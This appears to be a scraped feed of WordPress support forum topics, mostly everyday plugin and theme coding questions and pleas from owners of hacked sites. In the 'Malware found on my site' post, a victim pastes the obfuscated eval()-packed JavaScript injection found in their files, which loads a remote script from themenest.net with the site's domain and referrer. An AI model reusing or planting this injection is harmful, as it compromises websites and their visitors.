Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

lyndonr on "Media Library View Defaults to "Uploaded to this post" Function"


dcr20854 on "Hacked wp site: site.com/anything directs to spam web page"

$
0
0

My site has been hacked, so that http://site.com/xxx where xxx is anything, directs to a spam advertising page.

I'm trying to figure out what was done. Any ideas how this was done?

Thanks

dave

mmx38 on "wpdb update won't update if the new data is the same as the old."

$
0
0

Hello!

I am using wpdb to query some tables outside wordpress.

The problem is that if I try to give a WPDB->update query, it will run only when the new data are different than the old ones..

For example
I have a table MyNames with 4 columns:
Id
first_name
last_name
LastUpdated

I have a record like this:

3 | John | Doe | 2014-07-19 12:00:00

If I run the query below, it works. It replaces the name and the "LastUpdated" field is automatically updated (I have set it to the database as timestamp with CURRENT_TIMESTAMP ).

$wpdb->update(
'MyNames',
array(
"first_name" => "Danny",
"last_name" => "Texas"
),
array( 'Id' => 3),
array(
'%s', // value1
'%s' // value2
),
array( '%d' )
);

If I run the same query but instead of Danny Texas I use John Doe then it will not work. You may think that "What you expect to change if the new data is the same?".. Hmm I would expect the LastUpdated to be changed.. to get the new timestamp.

Can anyone explain why does this happen? Is there any way to trick it and send something like NOW() to the timestamp?

Thanks!

medellinpaisa on "Adding css file and uploading it to the directory?"

$
0
0

Trying to enable the TinyMCE plugin for my Smartmag theme. It says my theme doesnt support it and i need to create an CSS file and upload it to my theme's directory.

I am a complete newb, can someone walk me through this?

skyoyugi on "WordPress Login to look like GMail"

$
0
0

Hi guys,
I was wondering whether someone has found a way in which we can transform the WP login to behave like gmail login-when a user logs in and logs out, the next time they come back to use the same computer, it recognizes their username and displays something like "Welcome back user XXX. Please enter your password."

I envision this to help when I tick the remember password box. Any help will be heartily appreciated.

gorielbeed on "Links redirect to spam"

$
0
0

G'day,
I am having no luck with this problem,my blog uses SNAP Next Scrips for auto posting my latest posts to Facebook.
It posts no problem,the image and text box in the middle of the status
work well,click on this and you are taken to the post on my website'

Below is the link to my fan page,so you can see what I mean.
https://www.facebook.com/AcneTreatmentReviews

But if you click on the link that is after the post title as below
(the following is cut from my fan page on facebook)

How I Cured My ACNE Naturally (10 Tips)
(this is the link....http://www.badacnetreatment.com/?p=5928

you get redirected to a 5 Minute Mogul
squeeze page.

This is the url in my browser after redirect:
http://www.badacnetreatment.com/?p=5928
But in the tab above this is The 5 Minute Mogul.
This happens in google chrome and safari on my ipad.

The thing I noticed is that the page number 5928 is way to high,
it is the same with all the posts.They are redirect to a 5 Minute Mogul
squeeze page.

I have searched google for answers but nothing shows up related to my query.
Please any ideas
cheers
Greg

aviatore on "Malware found on my site"

$
0
0

Hello guys,

At first I'd like ot inform that I'm not a IT/programming specialist :(
Yesterday when I was preparing new post to my page, but at some point I found that:
- there are missing fields on edition page -> http://oi62.tinypic.com/sg7tk0.jpg
on right side there are missing eg. categories field, etc.
- when tried to save draft, it kicked me to main wp-admin page, and there was no new draft,
- i saw growing numbers of spiders to my web - what are those? -> http://oi61.tinypic.com/sfgjkm.jpg
- and finally i cannot play with plugins and everything (cannot deactive plugins, turn off widgets, change them, nothing).

So far this page is like a demo, when there is nothing allowed to be changed :(

Then looked for this page -> http://sitecheck.sucuri.net/results/www.aviatore.pl
and found that some malware are on my site :(

Erased all files which contained <script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>, re-installed wp-admin (erased from FTP and upload new one),
and still issue is visible.

I got no idea what should I do?

My first thought would be to make a backup, but it so those files might be affected :(

Please help ...
Thanks in advance

supersanusi on "User Forums with Post-Comment structure"

$
0
0

Does anyone know any plugin or have any idea how to implement forums with a Post and Comment structure sort of like theverge.com/forums rather than the regular BBpress look?

Any help would be appreciated.

Thank you.


cornelinux on "hook function for plugin options saved"

$
0
0

I was trying and googling for a while, but maybe I did not use the right keywords.

I am writing a plugin. I have a settings for that saves just fine.

I'd like to add a hook, to be able to either do some php stuff either before or after all my options are saved.

I thought I could find some code like

add_action("options_saved", "my_function");

I found several posts, but they seem do not seem to cover my concern.

Moreover: Would it be possible to pass data to such a hooked function, that will not be saved? I want to test the configuration on the server side and like to pass some user entered test data, that must not be saved.

THanks a lot and kind regards
Cornelius

Luke Janicke on "Post status transitions: updating the Codex"

$
0
0

I have made some major updates to the Codex. Would someone like to double check my work? And is it reasonable to ask that in a post in this forum? I’m new-ish to WordPress development, and some of the changes relate to depreciated code that is older than my involvement with WordPress.

The changes all involve post status transitions.

Post Status Transitions

Pretty major updates through here. Tried to make it clear that there are three kinds of post status transition action hooks. They are all called by the function wp_transition_post_status() in wp-includes/post.php.

Plugin API/Action Reference/publish post

So, in fact, this action hook was not depreciated. I added an explanation why and an example of correct usage.

Plugin API/Action Reference/publish page

As above except with no example.

Plugin API/Action Reference

I updated the existing entries and added the missing action hooks.

  • transition_post_status – Added.
  • (old status)_to_(new status) – Updated.
  • (status)_(post_type) – Added.
  • publish_post – Updated (not depreciated).
  • publish_page – Updated (not depreciated).

Christiaan Conover on "Tabbed navigation for plugin options using same row in database for all?"

$
0
0

I'm trying to use WordPress' native tabbed navigation on my plugin's options page, but I'm having trouble. I've managed to get the options to display, though it displays every plugin option on every tab. I also get the error message ERROR: options page not found whenever I try to save settings.

I think I've traced this to the fact that I'm trying to use the same row in the database for all plugin options. The reason for this is that most of the options fields are dynamically generated from a remote API call, so the tabs may not be the same across all installations of the plugin. Therefore, I don't want to predefine database rows for each tab, in case certain tabs are not in use, or tabs are added or removed based on the API response after plugin installation.

Is it possible to use a single row in the database for all plugin options in conjunction with WordPress' tabbed navigation?

Here's the relevant block of code in the commit containing it. I've linked to it because it contains references to methods and properties elsewhere in plugin code that may be relevant for context.

asis.carpio on "Virus or Not Anyone, Relate to this??"

Helptourists on "Hack? Please help me, don't know what to do"

$
0
0

Hi,

two days ago all my plugins disappered from my backend, but not on the server. I tried to reactivate the plugins, but wordpress don't show them at all. There is the same problem report for all plugins: "there is no valid header".

I found a mysterious new user, that I didn't add on my own. This user has administration rights. What is really weird is that this unknown user has no user name and no email address. Could this be a hacker attack?

I'm really afraid, could someboby please help me asap?
Thanks a lot, Denise.

PS: I immediately changed the rights of the new user from admin to subscriber.

Infodataplace on "wordpress security plugins"

$
0
0

Hi Team,

I need to know is there any security plugin available for word press to protect it from hackers?

Kindly let me know i need to use it for our website Infodataplace

waltone57 on "Check post title if exists before posting programmatically"

$
0
0

Hello,

for a couple days now, I've been trying to figure out a code that checks post title if it already exists before posting. This is what I have done now:

function postit() {
$user_info = wp_get_current_user();
$title = $user_info->user_login;
$page = get_page_by_title('$title');

if(!$page){
$my_post = array(
  'post_title'    => $title,
  'post_content'  => '[ratingz]',
  'post_status'   => 'publish',
  'post_author'   => $user_ID
);
wp_insert_post( $my_post );
}
}

I'm using logged in user as post title.

I think I'm not so far away but where is the problem?

Thanks.


vicstick on "Exclude a post category from the Older Posts count."

$
0
0

Hello, sorry if this is a repeat post - I've searched all over but can't find an answer to this. I'm hoping you can help!

I have managed to exclude an unwanted category of posts from my blog page - and also from the Recent Posts sidebar widget - by means of adding a couple of snippets of code that I found online to the bottom of my theme's functions.php file (I'll post the code I'm using below, in case it's useful).

However, the count in the Older Posts widget is now wrong - the excluded posts are still counted! You can see this at http://www.wymondhamukulelegroup.com/our-blog/

I'd like to amend the post count to exclude that category too. Can anyone point me in the right direction? I'd really appreciate it.

function remove_my_categories( $wp_query ) {
   //5= 'Tabs' category
 	$remove_cat = '-5';

	// remove from archives (except category archives), feeds, search, and home page
	if( is_home() || is_feed() || is_search() || ( is_archive() && !is_category() )) {
		set_query_var('cat', $remove_cat);
		//which is merely the more elegant way to write:
		//$wp_query->set('cat', '-' . $remove_cat);
	}
}

add_action('pre_get_posts', 'remove_my_categories' );

    /**
     * Recent_Posts widget w/ category exclude class
     * This allows specific Category IDs to be removed from the Sidebar Recent Posts list
     *
     */
    class WP_Widget_Recent_Posts_Exclude extends WP_Widget {

            function __construct() {
                    $widget_ops = array('classname' => 'widget_recent_entries', 'description' => __( "The most recent posts on your site") );
                    parent::__construct('recent-posts', __('Recent Posts with Exclude'), $widget_ops);
                    $this->alt_option_name = 'widget_recent_entries';

                    add_action( 'save_post', array(&$this, 'flush_widget_cache') );
                    add_action( 'deleted_post', array(&$this, 'flush_widget_cache') );
                    add_action( 'switch_theme', array(&$this, 'flush_widget_cache') );
            }

            function widget($args, $instance) {
                    $cache = wp_cache_get('widget_recent_posts', 'widget');

                    if ( !is_array($cache) )
                            $cache = array();

                    if ( ! isset( $args['widget_id'] ) )
                            $args['widget_id'] = $this->id;

                    if ( isset( $cache[ $args['widget_id'] ] ) ) {
                            echo $cache[ $args['widget_id'] ];
                            return;
                    }

                    ob_start();
                    extract($args);

                    $title = apply_filters('widget_title', empty($instance['title']) ? __('Recent Posts') : $instance['title'], $instance, $this->id_base);
                    if ( empty( $instance['number'] ) || ! $number = absint( $instance['number'] ) )
                            $number = 10;
                    $exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];

                    $r = new WP_Query(array('posts_per_page' => $number, 'no_found_rows' => true, 'post_status' => 'publish', 'ignore_sticky_posts' => true, 'category__not_in' => explode(',', $exclude) ));
                    if ($r->have_posts()) :
    ?>
                    <?php //echo print_r(explode(',', $exclude)); ?>
                    <?php echo $before_widget; ?>
                    <?php if ( $title ) echo $before_title . $title . $after_title; ?>
                    <ul>
                    <?php  while ($r->have_posts()) : $r->the_post(); ?>
                    <li><a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"><?php if ( get_the_title() ) the_title(); else the_ID(); ?></a></li>
                    <?php endwhile; ?>
                    </ul>
                    <?php echo $after_widget; ?>
    <?php
                    // Reset the global $the_post as this query will have stomped on it
                    wp_reset_postdata();

                    endif;

                    $cache[$args['widget_id']] = ob_get_flush();
                    wp_cache_set('widget_recent_posts', $cache, 'widget');
            }

            function update( $new_instance, $old_instance ) {
                    $instance = $old_instance;
                    $instance['title'] = strip_tags($new_instance['title']);
                    $instance['number'] = (int) $new_instance['number'];
                    $instance['exclude'] = strip_tags( $new_instance['exclude'] );
                    $this->flush_widget_cache();

                    $alloptions = wp_cache_get( 'alloptions', 'options' );
                    if ( isset($alloptions['widget_recent_entries']) )
                            delete_option('widget_recent_entries');

                    return $instance;
            }

            function flush_widget_cache() {
                    wp_cache_delete('widget_recent_posts', 'widget');
            }

            function form( $instance ) {
                    $title = isset($instance['title']) ? esc_attr($instance['title']) : '';
                    $number = isset($instance['number']) ? absint($instance['number']) : 5;
                    $exclude = esc_attr( $instance['exclude'] );
    ?>
                    <p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
                    <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>

                    <p><label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts to show:'); ?></label>
                    <input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>

                    <p>
                            <label for="<?php echo $this->get_field_id('exclude'); ?>"><?php _e( 'Exclude Category(s):' ); ?></label> <input type="text" value="<?php echo $exclude; ?>" name="<?php echo $this->get_field_name('exclude'); ?>" id="<?php echo $this->get_field_id('exclude'); ?>" class="widefat" />
                            <br />
                            <small><?php _e( 'Category IDs, separated by commas.' ); ?></small>
                    </p>
    <?php
            }
    }

    function WP_Widget_Recent_Posts_Exclude_init() {
        unregister_widget('WP_Widget_Recent_Posts');
        register_widget('WP_Widget_Recent_Posts_Exclude');
    }

    add_action('widgets_init', 'WP_Widget_Recent_Posts_Exclude_init');

    ?>

lup0z on "Developing a shopping cart"

$
0
0

Hello,
I'm going to develop a plugin to get items from an external server and to allow users to book them.
For this last feature I need to code something similar to a shopping cart: where can I find tutorials and guides that can help me on developing that cart?

If I search for "wordpress coding shopping cart plugin" on internet I just find plugins to download.

Thank you!

nicearma on "Image size"

$
0
0

Hello, i working in my plugin and i want to find all the image size possible, i find the function http://codex.wordpress.org/Function_Reference/get_intermediate_image_sizes but after see the the example code i dont understand the meaning of
global $_wp_additional_image_sizes;

So i can have some different array size? one in get_intermediate_image_sizes and other in global $_wp_additional_image_sizes?

mm on "Trying to change a link color"

$
0
0

Hi,

I've tried changing a link color using the following code:

<style type="text/css">
.red {
	color: #F0022E;
}
</style>
this is a <a href="http://www.link.com" target="_blank" class="red">link</a>

But the color stays blue and I don't know where it comes from.
How can I change this specific link to the color I want?

Help would be appreciated.

Teadocents on "Infected php, can't get into admin."

$
0
0

Saturday, my site stopped working. couldn't get into admin nor my site. the page just displayed a message like this.

Parse error: syntax error, unexpected $end in /home/content/38/7659338/html/wp-includes/widgets.php on line 212

but not exactly this. I had my tech guy look at it and he found more than 1100 php with some injected code. he removed it and reloaded wordpress. it was up momentary and I could see that not all of my plugins were there. I did have a backup plugin which I ran in april so I was thinking about restoring it. but before I could do that. the site was infected again and now I get this message. My tech guy can't understand this.
can any one help. I have a screen shot of the infected code if that helps.

Viewing all 8245 articles
Browse latest View live




Latest Images